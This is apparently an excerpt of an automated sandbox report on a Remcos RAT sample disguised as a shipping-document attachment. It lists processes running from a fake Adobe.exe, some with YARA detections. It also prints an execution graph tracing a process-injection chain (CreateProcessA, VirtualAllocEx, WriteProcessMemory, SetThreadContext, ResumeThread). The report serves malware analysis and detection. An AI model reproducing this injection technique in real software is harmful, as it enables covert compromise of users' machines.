                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:10
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ddbggzyktewzxiicugbnokhajlwoymmlyl"
                                                                                      Imagebase:0x8c0000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:11
                                                                                      Start time:11:42:08
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:C:\ProgramData\Adobe\Adobe.exe /stext "C:\Users\user\AppData\Local\Temp\ffhrgs"
                                                                                      Imagebase:0x5c0000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:true
                                                                                      Has administrator privileges:true
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:12
                                                                                      Start time:11:42:10
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x6e0000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:13
                                                                                      Start time:11:42:11
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x620000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000D.00000002.2175641992.0000000000E57000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:15
                                                                                      Start time:11:42:18
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x550000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:16
                                                                                      Start time:11:42:20
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):false
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x110000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:17
                                                                                      Start time:11:42:20
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0xe60000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000011.00000002.2257711507.0000000001357000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:18
                                                                                      Start time:11:42:27
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0x110000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      General

                                                                                      Target ID:19
                                                                                      Start time:11:42:28
                                                                                      Start date:28/11/2024
                                                                                      Path:C:\ProgramData\Adobe\Adobe.exe
                                                                                      Wow64 process (32bit):true
                                                                                      Commandline:"C:\ProgramData\Adobe\Adobe.exe"
                                                                                      Imagebase:0xfd0000
                                                                                      File size:1'129'984 bytes
                                                                                      MD5 hash:BC74E2D086D7BEF42C3604C1DAFC3EDB
                                                                                      Has elevated privileges:false
                                                                                      Has administrator privileges:false
                                                                                      Programmed in:C, C++ or other language
                                                                                      Yara matches:
                                                                                      • Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000013.00000002.2339042347.0000000001627000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                      Reputation:low
                                                                                      Has exited:true

                                                                                      Disassembly

                                                                                      Reset < >

                                                                                        Execution Graph

                                                                                        Execution Coverage:10.4%
                                                                                        Dynamic/Decrypted Code Coverage:100%
                                                                                        Signature Coverage:1.2%
                                                                                        Total number of Nodes:257
                                                                                        Total number of Limit Nodes:11
                                                                                        execution_graph 36865 2e0d560 36866 2e0d5a6 GetCurrentProcess 36865->36866 36868 2e0d5f1 36866->36868 36869 2e0d5f8 GetCurrentThread 36866->36869 36868->36869 36870 2e0d635 GetCurrentProcess 36869->36870 36871 2e0d62e 36869->36871 36872 2e0d66b 36870->36872 36871->36870 36873 2e0d693 GetCurrentThreadId 36872->36873 36874 2e0d6c4 36873->36874 37173 2e0b1d0 37174 2e0b1df 37173->37174 37176 2e0b2b7 37173->37176 37177 2e0b2fc 37176->37177 37178 2e0b2d9 37176->37178 37177->37174 37178->37177 37179 2e0b500 GetModuleHandleW 37178->37179 37180 2e0b52d 37179->37180 37180->37174 37181 59167e0 37182 59167fd 37181->37182 37184 591419c 37181->37184 37185 5916818 DrawTextExW 37184->37185 37187 59168be 37185->37187 37187->37182 36898 772bae0 36899 772bc6b 36898->36899 36900 772bb06 36898->36900 36900->36899 36902 7727dd8 36900->36902 36903 772bd60 PostMessageW 36902->36903 36904 772bdcc 36903->36904 36904->36900 36875 2e04668 36876 2e04684 36875->36876 36877 2e046a4 36876->36877 36879 2e04838 36876->36879 36880 2e0485d 36879->36880 36884 2e04937 36880->36884 36888 2e04948 36880->36888 36886 2e0496f 36884->36886 36885 2e04a4c 36886->36885 36892 2e04544 36886->36892 36889 2e0496f 36888->36889 36890 2e04a4c 36889->36890 36891 2e04544 CreateActCtxA 36889->36891 36890->36890 36891->36890 36893 2e05dd8 CreateActCtxA 36892->36893 36895 2e05e9b 36893->36895 36896 2e0d7a8 DuplicateHandle 36897 2e0d83e 36896->36897 37170 59164b9 37171 59164c0 CloseHandle 37170->37171 37172 5916527 37171->37172 36905 5916c48 36906 5916c82 36905->36906 36907 5916d13 36906->36907 36908 5916cfe 36906->36908 36909 59141c4 3 API calls 36907->36909 36913 59141c4 36908->36913 36912 5916d22 36909->36912 36915 59141cf 36913->36915 36914 5916d09 36915->36914 36918 5917657 36915->36918 36925 5917668 36915->36925 36919 5917668 36918->36919 36931 591420c 36919->36931 36922 591768f 36922->36914 36923 59176b8 CreateIconFromResourceEx 36924 5917736 36923->36924 36924->36914 36926 591420c CreateIconFromResourceEx 36925->36926 36927 5917682 36926->36927 36928 591768f 36927->36928 36929 59176b8 CreateIconFromResourceEx 36927->36929 36928->36914 36930 5917736 36929->36930 36930->36914 36932 59176b8 CreateIconFromResourceEx 36931->36932 36933 5917682 36932->36933 36933->36922 36933->36923 36934 772a02d 36935 772a033 36934->36935 36940 772a8d6 36935->36940 36964 772a868 36935->36964 36987 772a878 36935->36987 36936 7729f51 36941 772a864 36940->36941 36943 772a8d9 36940->36943 36942 772a8b6 36941->36942 37010 772af05 36941->37010 37015 772b006 36941->37015 37020 772ae60 36941->37020 37025 772ade2 36941->37025 37031 772ad5c 36941->37031 37036 772b21f 36941->37036 37041 772ac99 36941->37041 37046 772b498 36941->37046 37051 772b278 36941->37051 37055 772b2fb 36941->37055 37059 772ae1b 36941->37059 37064 772b0bb 36941->37064 37068 772adb5 36941->37068 37073 772b075 36941->37073 37078 772ae54 36941->37078 37083 772add6 36941->37083 37088 772b210 36941->37088 37098 772aea9 36941->37098 37103 772afc8 36941->37103 37107 772b40b 36941->37107 36942->36936 36943->36936 36965 772a878 36964->36965 36966 772a8b6 36965->36966 36967 772b210 4 API calls 36965->36967 36968 772add6 2 API calls 36965->36968 36969 772ae54 2 API calls 36965->36969 36970 772b075 2 API calls 36965->36970 36971 772adb5 2 API calls 36965->36971 36972 772b0bb 2 API calls 36965->36972 36973 772ae1b 2 API calls 36965->36973 36974 772b2fb 2 API calls 36965->36974 36975 772b278 2 API calls 36965->36975 36976 772b498 2 API calls 36965->36976 36977 772ac99 2 API calls 36965->36977 36978 772b21f 2 API calls 36965->36978 36979 772ad5c 2 API calls 36965->36979 36980 772ade2 2 API calls 36965->36980 36981 772ae60 2 API calls 36965->36981 36982 772b006 2 API calls 36965->36982 36983 772af05 2 API calls 36965->36983 36984 772b40b 2 API calls 36965->36984 36985 772afc8 2 API calls 36965->36985 36986 772aea9 2 API calls 36965->36986 36966->36936 36967->36966 36968->36966 36969->36966 36970->36966 36971->36966 36972->36966 36973->36966 36974->36966 36975->36966 36976->36966 36977->36966 36978->36966 36979->36966 36980->36966 36981->36966 36982->36966 36983->36966 36984->36966 36985->36966 36986->36966 36988 772a892 36987->36988 36989 772a8b6 36988->36989 36990 772b210 4 API calls 36988->36990 36991 772add6 2 API calls 36988->36991 36992 772ae54 2 API calls 36988->36992 36993 772b075 2 API calls 36988->36993 36994 772adb5 2 API calls 36988->36994 36995 772b0bb 2 API calls 36988->36995 36996 772ae1b 2 API calls 36988->36996 36997 772b2fb 2 API calls 36988->36997 36998 772b278 2 API calls 36988->36998 36999 772b498 2 API calls 36988->36999 37000 772ac99 2 API calls 36988->37000 37001 772b21f 2 API calls 36988->37001 37002 772ad5c 2 API calls 36988->37002 37003 772ade2 2 API calls 36988->37003 37004 772ae60 2 API calls 36988->37004 37005 772b006 2 API calls 36988->37005 37006 772af05 2 API calls 36988->37006 37007 772b40b 2 API calls 36988->37007 37008 772afc8 2 API calls 36988->37008 37009 772aea9 2 API calls 36988->37009 36989->36936 36990->36989 36991->36989 36992->36989 36993->36989 36994->36989 36995->36989 36996->36989 36997->36989 36998->36989 36999->36989 37000->36989 37001->36989 37002->36989 37003->36989 37004->36989 37005->36989 37006->36989 37007->36989 37008->36989 37009->36989 37011 772adbe 37010->37011 37011->37010 37012 772b118 37011->37012 37112 77297c0 37011->37112 37116 77297b8 37011->37116 37012->36942 37016 772adbe 37015->37016 37017 772b118 37016->37017 37018 77297c0 WriteProcessMemory 37016->37018 37019 77297b8 WriteProcessMemory 37016->37019 37017->36942 37018->37017 37019->37017 37021 772ae66 37020->37021 37120 772ba28 37021->37120 37125 772ba17 37021->37125 37022 772ae8a 37026 772adfc 37025->37026 37027 772b734 37026->37027 37029 772ba17 2 API calls 37026->37029 37030 772ba28 2 API calls 37026->37030 37028 772ae8a 37029->37028 37030->37028 37032 772ad62 37031->37032 37138 7729a48 37032->37138 37142 7729a3c 37032->37142 37037 772adbe 37036->37037 37038 772b118 37037->37038 37039 77297c0 WriteProcessMemory 37037->37039 37040 77297b8 WriteProcessMemory 37037->37040 37038->36942 37039->37038 37040->37038 37042 772acc8 37041->37042 37043 772ad96 37042->37043 37044 7729a48 CreateProcessA 37042->37044 37045 7729a3c CreateProcessA 37042->37045 37044->37043 37045->37043 37047 772adbe 37046->37047 37048 772b118 37047->37048 37049 77297c0 WriteProcessMemory 37047->37049 37050 77297b8 WriteProcessMemory 37047->37050 37048->36942 37049->37048 37050->37048 37146 7729700 37051->37146 37150 77296f8 37051->37150 37052 772b296 37057 77297c0 WriteProcessMemory 37055->37057 37058 77297b8 WriteProcessMemory 37055->37058 37056 772b329 37056->36942 37057->37056 37058->37056 37060 772adbe 37059->37060 37061 772b118 37060->37061 37062 77297c0 WriteProcessMemory 37060->37062 37063 77297b8 WriteProcessMemory 37060->37063 37061->36942 37062->37061 37063->37061 37154 7729621 37064->37154 37158 7729628 37064->37158 37065 772b0d5 37065->36942 37069 772adbe 37068->37069 37070 772b118 37069->37070 37071 77297c0 WriteProcessMemory 37069->37071 37072 77297b8 WriteProcessMemory 37069->37072 37070->36942 37071->37070 37072->37070 37074 772b07b 37073->37074 37075 772b09b 37074->37075 37162 77298b0 37074->37162 37166 77298a9 37074->37166 37079 772adbe 37078->37079 37080 772b118 37079->37080 37081 77297c0 WriteProcessMemory 37079->37081 37082 77297b8 WriteProcessMemory 37079->37082 37080->36942 37081->37080 37082->37080 37084 772b079 37083->37084 37086 77298b0 ReadProcessMemory 37084->37086 37087 77298a9 ReadProcessMemory 37084->37087 37085 772b09b 37086->37085 37087->37085 37089 772b27f 37088->37089 37091 772ade1 37088->37091 37090 772b296 37089->37090 37094 7729700 VirtualAllocEx 37089->37094 37095 77296f8 VirtualAllocEx 37089->37095 37092 772b734 37091->37092 37096 772ba17 2 API calls 37091->37096 37097 772ba28 2 API calls 37091->37097 37093 772ae8a 37094->37090 37095->37090 37096->37093 37097->37093 37099 772aeb6 37098->37099 37101 77297c0 WriteProcessMemory 37099->37101 37102 77297b8 WriteProcessMemory 37099->37102 37100 772af7f 37100->36942 37101->37100 37102->37100 37105 7729621 Wow64SetThreadContext 37103->37105 37106 7729628 Wow64SetThreadContext 37103->37106 37104 772afe7 37104->36942 37105->37104 37106->37104 37108 772adbe 37107->37108 37109 772b118 37108->37109 37110 77297c0 WriteProcessMemory 37108->37110 37111 77297b8 WriteProcessMemory 37108->37111 37109->36942 37110->37109 37111->37109 37113 7729808 WriteProcessMemory 37112->37113 37115 772985f 37113->37115 37115->37012 37117 77297c0 WriteProcessMemory 37116->37117 37119 772985f 37117->37119 37119->37012 37121 772ba3d 37120->37121 37130 7729140 37121->37130 37134 7729138 37121->37134 37122 772ba50 37122->37022 37126 772ba28 37125->37126 37128 7729140 ResumeThread 37126->37128 37129 7729138 ResumeThread 37126->37129 37127 772ba50 37127->37022 37128->37127 37129->37127 37131 7729180 ResumeThread 37130->37131 37133 77291b1 37131->37133 37133->37122 37135 7729140 ResumeThread 37134->37135 37137 77291b1 37135->37137 37137->37122 37139 7729ad1 37138->37139 37139->37139 37140 7729c36 CreateProcessA 37139->37140 37141 7729c93 37140->37141 37141->37141 37143 7729ad1 CreateProcessA 37142->37143 37145 7729c93 37143->37145 37145->37145 37147 7729740 VirtualAllocEx 37146->37147 37149 772977d 37147->37149 37149->37052 37151 7729700 VirtualAllocEx 37150->37151 37153 772977d 37151->37153 37153->37052 37155 7729628 Wow64SetThreadContext 37154->37155 37157 77296b5 37155->37157 37157->37065 37159 772966d Wow64SetThreadContext 37158->37159 37161 77296b5 37159->37161 37161->37065 37163 77298fb ReadProcessMemory 37162->37163 37165 772993f 37163->37165 37165->37075 37167 77298b0 ReadProcessMemory 37166->37167 37169 772993f 37167->37169 37169->37075

                                                                                        Executed Functions

                                                                                        Function 059141C4 Relevance: 6.9, Strings: 5, Instructions: 622COMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 294 59141c4-5916d68 297 591724b-59172b4 294->297 298 5916d6e-5916d73 294->298 305 59172bb-5917343 297->305 298->297 299 5916d79-5916d96 298->299 299->305 306 5916d9c-5916da0 299->306 351 591734e-59173ce 305->351 307 5916da2-5916dac call 59141d4 306->307 308 5916daf-5916db3 306->308 307->308 309 5916dc2-5916dc9 308->309 310 5916db5-5916dbf call 59141d4 308->310 315 5916ee4-5916ee9 309->315 316 5916dcf-5916dff 309->316 310->309 319 5916ef1-5916ef6 315->319 320 5916eeb-5916eef 315->320 327 59175ce-59175f4 316->327 329 5916e05-5916ed8 call 59141e0 * 2 316->329 324 5916f08-5916f38 call 59141ec * 3 319->324 320->319 323 5916ef8-5916efc 320->323 326 5916f02-5916f05 323->326 323->327 324->351 352 5916f3e-5916f41 324->352 326->324 342 5917604 327->342 343 59175f6-5917602 327->343 329->315 359 5916eda 329->359 347 5917607-591760c 342->347 343->347 366 59173d5-5917457 351->366 352->351 354 5916f47-5916f49 352->354 354->351 355 5916f4f-5916f84 354->355 355->366 367 5916f8a-5916f93 355->367 359->315 372 591745f-59174e1 366->372 369 59170f6-59170fa 367->369 370 5916f99-5916ff3 call 59141ec * 2 call 59141fc * 2 367->370 371 5917100-5917104 369->371 369->372 416 5917005 370->416 417 5916ff5-5916ffe 370->417 376 59174e9-5917516 371->376 377 591710a-5917110 371->377 372->376 389 591751d-591759d 376->389 381 5917112 377->381 382 5917114-5917149 377->382 386 5917150-5917156 381->386 382->386 386->389 390 591715c-5917164 386->390 445 59175a4-59175c6 389->445 394 5917166-591716a 390->394 395 591716b-591716d 390->395 394->395 400 59171cf-59171d5 395->400 401 591716f-5917193 395->401 406 59171f4-5917222 400->406 407 59171d7-59171f2 400->407 434 5917195-591719a 401->434 435 591719c-59171a0 401->435 426 591722a-5917236 406->426 407->426 419 5917009-591700b 416->419 418 5917000-5917003 417->418 417->419 418->419 424 5917012-5917016 419->424 425 591700d 419->425 431 5917024-591702a 424->431 432 5917018-591701f 424->432 425->424 426->445 446 591723c-5917248 426->446 439 5917034-5917039 431->439 440 591702c-5917032 431->440 438 59170c1-59170c5 432->438 442 59171ac-59171bd 434->442 435->327 443 59171a6-59171a9 435->443 447 59170e4-59170f0 438->447 448 59170c7-59170e1 438->448 449 591703f-5917045 439->449 440->449 484 59171bf call 5917657 442->484 485 59171bf call 5917668 442->485 443->442 445->327 447->369 447->370 448->447 453 5917047-5917049 449->453 454 591704b-5917050 449->454 460 5917052-5917064 453->460 454->460 457 59171c5-59171cd 457->426 462 5917066-591706c 460->462 463 591706e-5917073 460->463 467 5917079-5917080 462->467 463->467 471 5917082-5917084 467->471 472 5917086 467->472 475 591708b-5917096 471->475 472->475 476 5917098-591709b 475->476 477 59170ba 475->477 476->438 479 591709d-59170a3 476->479 477->438 480 59170a5-59170a8 479->480 481 59170aa-59170b3 479->481 480->477 480->481 481->438 483 59170b5-59170b8 481->483 483->438 483->477 484->457 485->457
                                                                                        Strings
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID: Haq$Haq$Haq$Haq$Haq
                                                                                        • API String ID: 0-1792267638
                                                                                        • Opcode ID: eb22782a12aa75b705a391e487dd9fce4785e528e6a74219d45e94f7296fbf3f
                                                                                        • Instruction ID: d7f3ec3dde28b2fa0c3fd89bbf07a1f2a0b2daa87ea2d0cd68c30d592dda2a76
                                                                                        • Opcode Fuzzy Hash: eb22782a12aa75b705a391e487dd9fce4785e528e6a74219d45e94f7296fbf3f
                                                                                        • Instruction Fuzzy Hash: 5C328030E002698FDB54DFB9C8507AEBBB6FF84300F1485AAD809AB395DB349D45CB95
                                                                                        Function 05916D33 Relevance: .3, Instructions: 279COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 809c3e578f101a30b06f114f06df14feeb32e06fb0441bef4b71f12e70694ddf
                                                                                        • Instruction ID: 3bf94b9692514ed59bad71559d5468afbad5c85c2350875049da3faa0d76259e
                                                                                        • Opcode Fuzzy Hash: 809c3e578f101a30b06f114f06df14feeb32e06fb0441bef4b71f12e70694ddf
                                                                                        • Instruction Fuzzy Hash: ADC14C31E002299FCF15CFA5C984B99BBB2FF89310F14C5A9D809AB255DB30E945CF54
                                                                                        Function 0591F788 Relevance: .2, Instructions: 239COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 8f2f44ce2178364057a79a851e32bd7683468185668f55c60dcc36aecbb14944
                                                                                        • Instruction ID: 5c463c7ddd09278cbf7b1f867cac90c35f711f5cdd5ee7598e99135cc54523ba
                                                                                        • Opcode Fuzzy Hash: 8f2f44ce2178364057a79a851e32bd7683468185668f55c60dcc36aecbb14944
                                                                                        • Instruction Fuzzy Hash: EAA1D174D0922CCFDB14CFA6D8447EDBBB6BF89300F1095A9D80AA7251DB385985CF54
                                                                                        Function 0591F778 Relevance: .2, Instructions: 232COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2053299764.0000000005910000.00000040.00000800.00020000.00000000.sdmp, Offset: 05910000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_5910000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 2a16fd1c980eb836a3e25c68a18778f120bdf78697f461d58e8c6b193aa3f244
                                                                                        • Instruction ID: 3a717e0e1402578e75d250c012553f4574314c0753c68fef8868ae823649ea4e
                                                                                        • Opcode Fuzzy Hash: 2a16fd1c980eb836a3e25c68a18778f120bdf78697f461d58e8c6b193aa3f244
                                                                                        • Instruction Fuzzy Hash: 55A1E1B4D0922CCFDB14CFA5D8447EDBBB6BF89300F1095AAD80AA7251DB385985CF54
                                                                                        Function 02E07051 Relevance: .2, Instructions: 195COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: a7223c3b187b68b4ba06ea9ecd572011b806f2a84fc2603d3a21d1875fc99286
                                                                                        • Instruction ID: 6b4a1e5a0c918fbec4fd1d2ac247967347847abb457635f26302745643f85447
                                                                                        • Opcode Fuzzy Hash: a7223c3b187b68b4ba06ea9ecd572011b806f2a84fc2603d3a21d1875fc99286
                                                                                        • Instruction Fuzzy Hash: 7781C474E002089FDB09DFE9C891AEEBBF2FF88310F148069D909AB365DA355946DF51
                                                                                        Function 02E043E8 Relevance: .2, Instructions: 192COMMON
                                                                                        Download Yara Rule
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID:
                                                                                        • String ID:
                                                                                        • API String ID:
                                                                                        • Opcode ID: 2055e3d81dc316ef5f04648973128942b817755e58f903d3d6b087d36da0b9af
                                                                                        • Instruction ID: bb2014b9219aad699763330cdadfa82e7859699e2752129b520d89a19634f8a6
                                                                                        • Opcode Fuzzy Hash: 2055e3d81dc316ef5f04648973128942b817755e58f903d3d6b087d36da0b9af
                                                                                        • Instruction Fuzzy Hash: 3781B274E002089FDB09DFE9C890AEEBBF2FF88310F148029D919AB365DA355946DF51
                                                                                        Function 02E0D550 Relevance: 6.1, APIs: 4, Instructions: 133threadCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 486 2e0d550-2e0d5ef GetCurrentProcess 491 2e0d5f1-2e0d5f7 486->491 492 2e0d5f8-2e0d62c GetCurrentThread 486->492 491->492 493 2e0d635-2e0d669 GetCurrentProcess 492->493 494 2e0d62e-2e0d634 492->494 495 2e0d672-2e0d68d call 2e0d730 493->495 496 2e0d66b-2e0d671 493->496 494->493 500 2e0d693-2e0d6c2 GetCurrentThreadId 495->500 496->495 501 2e0d6c4-2e0d6ca 500->501 502 2e0d6cb-2e0d72d 500->502 501->502
                                                                                        APIs
                                                                                        • GetCurrentProcess.KERNEL32 ref: 02E0D5DE
                                                                                        • GetCurrentThread.KERNEL32 ref: 02E0D61B
                                                                                        • GetCurrentProcess.KERNEL32 ref: 02E0D658
                                                                                        • GetCurrentThreadId.KERNEL32 ref: 02E0D6B1
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: Current$ProcessThread
                                                                                        • String ID:
                                                                                        • API String ID: 2063062207-0
                                                                                        • Opcode ID: 94e32508eed34df4136bd8949d258b443cb451f1d76f093548a1afb6e15e375a
                                                                                        • Instruction ID: 286fc9b98ba446f3383f81174050cf809cf23d9eed720c7b49fb239d96db8688
                                                                                        • Opcode Fuzzy Hash: 94e32508eed34df4136bd8949d258b443cb451f1d76f093548a1afb6e15e375a
                                                                                        • Instruction Fuzzy Hash: 475166B09002498FDB14DFA9D988BEEBBF1EF48318F20C459D519A72A0C7789985CF65
                                                                                        Function 02E0D560 Relevance: 6.1, APIs: 4, Instructions: 128threadCOMMON
                                                                                        Download Yara Rule

                                                                                        Control-flow Graph

                                                                                        • Executed
                                                                                        • Not Executed
                                                                                        control_flow_graph 509 2e0d560-2e0d5ef GetCurrentProcess 513 2e0d5f1-2e0d5f7 509->513 514 2e0d5f8-2e0d62c GetCurrentThread 509->514 513->514 515 2e0d635-2e0d669 GetCurrentProcess 514->515 516 2e0d62e-2e0d634 514->516 517 2e0d672-2e0d68d call 2e0d730 515->517 518 2e0d66b-2e0d671 515->518 516->515 522 2e0d693-2e0d6c2 GetCurrentThreadId 517->522 518->517 523 2e0d6c4-2e0d6ca 522->523 524 2e0d6cb-2e0d72d 522->524 523->524
                                                                                        APIs
                                                                                        • GetCurrentProcess.KERNEL32 ref: 02E0D5DE
                                                                                        • GetCurrentThread.KERNEL32 ref: 02E0D61B
                                                                                        • GetCurrentProcess.KERNEL32 ref: 02E0D658
                                                                                        • GetCurrentThreadId.KERNEL32 ref: 02E0D6B1
                                                                                        Memory Dump Source
                                                                                        • Source File: 00000000.00000002.2039653240.0000000002E00000.00000040.00000800.00020000.00000000.sdmp, Offset: 02E00000, based on PE: false
                                                                                        Joe Sandbox IDA Plugin
                                                                                        • Snapshot File: hcaresult_0_2_2e00000_Draft - HBL# WSPAE1311198 VSL# COSCO NETHERLANDS V-067E.jbxd
                                                                                        Similarity
                                                                                        • API ID: Current$ProcessThread
                                                                                        • String ID:
                                                                                        • API String ID: 2063062207-0
                                                                                        • Opcode ID: 8a7ccd4cf7688ecb2b51b37ddb1422af217e5cc6af39a203c9ea27ed50127805
                                                                                        • Instruction ID: f280fde82ef0021d2c0a4c6166d9d32a169175212753642147598d55913fb9c4
                                                                                        • Opcode Fuzzy Hash: 8a7ccd4cf7688ecb2b51b37ddb1422af217e5cc6af39a203c9ea27ed50127805
